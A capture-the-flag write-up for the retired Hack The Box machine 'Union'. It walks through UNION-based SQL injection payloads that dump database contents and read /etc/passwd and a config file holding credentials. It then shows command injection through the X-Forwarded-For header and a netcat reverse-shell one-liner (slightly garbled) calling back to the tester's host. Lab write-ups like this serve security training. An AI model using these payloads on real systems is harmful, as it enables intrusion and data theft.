Skip to content

Union

Box details
OS Linux
Difficulty Medium
Status Retired
Release November 2021
Completed October 2025

Enumeration

Ran Nmap on the target to enumerate open ports:

$ nmap -sV -sC -p- -PN -oA union_nmap 10.10.11.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-09 05:56 CEST
Nmap scan report for 10.10.11.128
Host is up (0.021s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

No open UDP ports were found.

There is a simple PHP web site running on port 80:

alt text

Entering any value in the player name box returns the following message:

alt text

The link points to /challenge.php, which is another simple page:

alt text

Submitting anything to the form just returns the same page.

A quick check with FFuF also confirms there are no other pages of interest on the site:

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -ic -u http://10.10.11.128/FUZZ.php
...
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.128/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

index                   [Status: 200, Size: 1220, Words: 158, Lines: 43, Duration: 21ms]
firewall                [Status: 200, Size: 13, Words: 2, Lines: 1, Duration: 23ms]
config                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 24ms]
challenge               [Status: 200, Size: 772, Words: 48, Lines: 21, Duration: 21ms]

Foothold

From the looks of it, the Player Eligibility Check form is the only form that does anything on the site. Assuming there is a database backend, it likely checks eligibility using a query like the following:

SELECT * FROM players WHERE name = '<input>';

If the query returns a match, the player is already registered.

After trying out a few SQLi payloads, it looks like the application responds in one of three ways:

  1. Basic payloads with no logic operators:

    $ curl http://10.10.11.128/index.php -X POST -d "player=test'"
    Congratulations test' you may compete in this tournament!<br /><br />Complete the challenge <a href="/challenge.php">here</a>
    
  2. Payloads with logic operators:

    $ curl http://10.10.11.128/index.php -X POST -d "player=test' or '1'='1-- -'"
    Congratulations test' or '1'='1-- -' you may compete in this tournament!
    
  3. Names of players that have already registered:

    $ curl http://10.10.11.128/index.php -X POST -d "player=ippsec"
    Sorry, ippsec you are not eligible due to already qualifying.
    

By the reponse in the second query, it looks like the application is doing some filtering that succeeds at picking up the payload and blocking it.

An injection type that should work here is a UNION injection. Given that the response is only a single value from a single column (rather than multiple values for a table), there shouldn't be any need to pad the query with blank fields to match the number of columns in the table.

This can be confirmed by attempting to inject two queries, one for a single column and one for two columns:

1
2
3
4
$ curl http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT 1-- -"
Sorry, 1 you are not eligible due to already qualifying.
$ curl http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT 1,2-- -"
Congratulations test' union select 1,2-- - you may compete in this tournament!<br /><br />Complete the challenge <a href="/challenge.php">here</a>

The difference between the two responses is that in the first response, the application displays the result of the UNION SELECT 1 query, while in the second case the query errors out.

Given the above, the following payload can be used to extract the DBMS version:

test' UNION SELECT @@VERSION-- -

Inserted into the assumed SQL statement on the backend, this becomes:

SELECT * FROM players WHERE name = 'test' UNION SELECT @@VERSION-- -';

This gives the following response:

$ curl http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT @@VERSION-- -"
Sorry, 8.0.27-0ubuntu0.20.04.1 you are not eligible due to already qualifying.

Note

This only works if the player isn't already registered:

$ curl http://10.10.11.128/index.php -X POST -d "player=ippsec' UNION SELECT @@VERSION-- -"
Sorry, ippsec you are not eligible due to already qualifying.

The reason is that only the first result of the query is shown. Since the DMBS succeeds in finding a previously registered player, the result from the SQLi payload is effectively hidden, making it appear as if it was unsuccessful.

The next step is to enumerate available databases. Using the GROUP_CONCAT() function, output from multiple rows can be concatenated into a single string:

$ curl http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT group_concat(schema_name) FROM information_schema.schemata-- -"
Sorry, mysql,information_schema,performance_schema,sys,november you are not eligible due to already qualifying.

The output can be cleaned up by piping it to the following sed expression: sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'.

The application uses the november database. Enumerating it further by extracting the tables:

1
2
3
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema='november'-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'

flag,players

Then the columns in the two tables:

1
2
3
4
5
6
7
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where table_name='players'-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'

player

$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where table_name='flag'-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'

one

Enumerating the players table by selecting the player column:

1
2
3
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(player) from november.players-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'

ippsec,celesian,big0us,luska,tinyboy

The flag table contains a flag:

curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION select GROUP_CONCAT(one) from november.flag-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
UHC{F1rst_5tep_2_Qualify}

Submitting the flag to the form on the website opens SSH access to the target:

alt text

The MySQL user has file read pemissions, allowing file exfiltration through the SQLi vulnerability:

1
2
3
4
5
6
7
8
9
$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT LOAD_FILE('/etc/passwd')-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
htb:x:1000:1000:htb:/home/htb:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:109:117:MySQL Server,,,:/nonexistent:/bin/false
uhc:x:1001:1001:,,,:/home/uhc:/bin/bash

Going back to the fuzzing at the start of the enumeration, there should be four PHP scripts in /var/www/html that can be exfiltrated. Of these, config.php is most likely to contain sensitive information:

$ curl -s http://10.10.11.128/index.php -X POST -d "player=test' UNION SELECT LOAD_FILE('/var/www/html/config.php')-- -" | sed -e 's/^Sorry, *//' -e 's/ *you are not eligible due to already qualifying\.$//'
<?php
  session_start();
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-11qual-global-pw";
  $dbname = "november";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

Used the password above to log in to the target over SSH and get the user flag.

Lateral Movement

uhc appears to be a low-privileged user with no particular privileges. There are no unusual or vulnerable applications or services running on the target.

Having shell access does make enumerating the web application from before easier. In particular, the firewall.php script that handles allowing SSH access to qualified players has a vulnerability in how it does this:

...
                <div class="container p-5">
<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
              <h1 class="text-white">Welcome Back!</h1>
              <h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
...

In the if statement above, the script checks if the X-Forwarded-For header is set. If it is, it sets the value of $ip to the contents of the header and passes the variable to iptables. The critical vulnerability is that it does so without any input validation. And, although X-Forwarded-For is intended to be used for passing an IP address, the header is fully under the user's control, and can in this case be used for injecting an OS command.

A command can be injected in the header like so:

X-Forwarded-For: 1.2.3.4; touch /tmp/pwned;

Note

To successfully inject a command, the command needs to be enclosed in semicolons on either end.

Used Burp to deliver the payload and found the newly created file on the target:

1
2
3
4
uhc@union:~$ ls -l /tmp/
total 4
-rw-r--r-- 1 www-data www-data 0 Oct  9 19:28 pwned
...

With RCE confirmed, the next step is to replace the test payload with a reverse shell payload.

Set the header to the following and got a reverse shell as www-data in a Netcat listener:

X-Forwarded-For: 1.2.3.4; g tbrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.5 9001 >/tmp/f;

Privilege Escalation

www-data has NOPASSWD: ALL privileges:

1
2
3
4
5
6
7
www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL

Got the root flag.